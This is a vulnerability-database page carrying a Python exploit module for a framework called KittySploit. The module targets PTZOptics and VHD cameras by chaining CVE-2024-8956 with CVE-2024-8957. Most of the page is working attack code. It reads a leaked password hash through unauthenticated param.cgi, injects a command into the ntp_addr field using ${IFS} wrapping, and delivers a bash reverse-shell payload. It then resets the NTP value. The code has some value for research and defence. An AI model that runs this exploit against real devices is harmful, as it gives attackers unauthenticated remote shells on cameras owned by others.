Lucene search
+L

PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in PTZOptics Camera via OS command injection in ntp_addr.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PTZOptics / VHD camera unauthenticated RCE via ntp_addr injection (CVE-2024-8956/8957)."""

import re
import time
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)',
        'description': (
            'Chains CVE-2024-8956 (missing auth on param.cgi) with CVE-2024-8957 '
            '(OS command injection in ntp_addr). Delivers a reverse CMD payload via '
            'POST /cgi-bin/param.cgi?post_network_other_conf and waits for a shell session.'
        ),
        'author': ['GreyNoise Labs', 'KittySploit Team'],
        'cve': ['CVE-2024-8957', 'CVE-2024-8956'],
        'platform': Platform.LINUX,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://www.labs.greynoise.io/grimoire/2024-10-31-sift-0-day-rce/',
            'https://vulncheck.com/advisories/ptzoptics-command-injection',
            'https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-10',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-8957',
        ],
        'tags': ['ptzoptics', 'camera', 'iot', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2024-8957'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'config_change'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/cve_2024_8956_detect',
                    'post/shell/multi/gather/privesc_suggester',
                ],
            },
        },
    }

    restore_ntp = OptString('pool.ntp.org', 'NTP address to restore after payload delivery', required=False)

    def _shell_wrap(self, cmd: str) -> str:
        safe = str(cmd).replace(' ', '${IFS}')
        return f'$({safe})'

    def _post_ntp(self, ntp_addr: str):
        encoded = quote(str(ntp_addr), safe='$/(){}')
        return self.http_request(
            method='POST',
            path='/cgi-bin/param.cgi?post_network_other_conf',
            data=f'ntp_en=1&ntp_addr={encoded}&ntp_time_interval=1440',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )

    def check(self):
        r = self.http_request(
            method='GET',
            path='/cgi-bin/param.cgi?get_system_conf',
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return {
                'vulnerable': False,
                'reason': 'get_system_conf not accessible',
                'confidence': 'medium',
            }
        body = r.text or ''
        if not re.search(r'userpasswd="[a-f0-9]+"', body):
            return {
                'vulnerable': False,
                'reason': 'CVE-2024-8956 indicator missing (no userpasswd leak)',
                'confidence': 'medium',
            }
        probe = self._post_ntp('pool.ntp.org')
        if probe and probe.status_code == 200 and 'Success' in (probe.text or ''):
            return {
                'vulnerable': True,
                'reason': 'Unauth config write + password leak (CVE-2024-8956/8957 chain)',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Password hash leak via get_system_conf (CVE-2024-8956)',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required to open a session')
            return False

        # Optional pre-exploit leak (does not replace session requirement).
        leak = self.http_request(
            method='GET',
            path='/cgi-bin/param.cgi?get_system_conf',
            allow_redirects=False,
        )
        if leak and leak.status_code == 200 and 'userpasswd=' in (leak.text or ''):
            print_success('Unauthenticated config access confirmed (CVE-2024-8956)')

        wrapped = self._shell_wrap(payload_cmd)
        print_status('Delivering reverse payload via ntp_addr injection (await shell session)...')
        r = self._post_ntp(wrapped)
        if not r:
            print_error('No response from post_network_other_conf')
            self.not_vulnerable()
            return False

        ok = r.status_code == 200 and ('Success' in (r.text or '') or not (r.text or '').strip())
        if not ok:
            print_warning(f'Unexpected response HTTP {r.status_code}: {(r.text or "")[:200]}')
            self.not_vulnerable()
            return False

        print_success('Payload delivered; waiting for reverse shell session')
        restore = str(self.restore_ntp or '').strip()
        if restore:
            time.sleep(0.3)
            self._post_ntp(restore)
        # True => framework listener keeps waiting for the reverse session.
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.1
EPSS0.7984
SSVC
0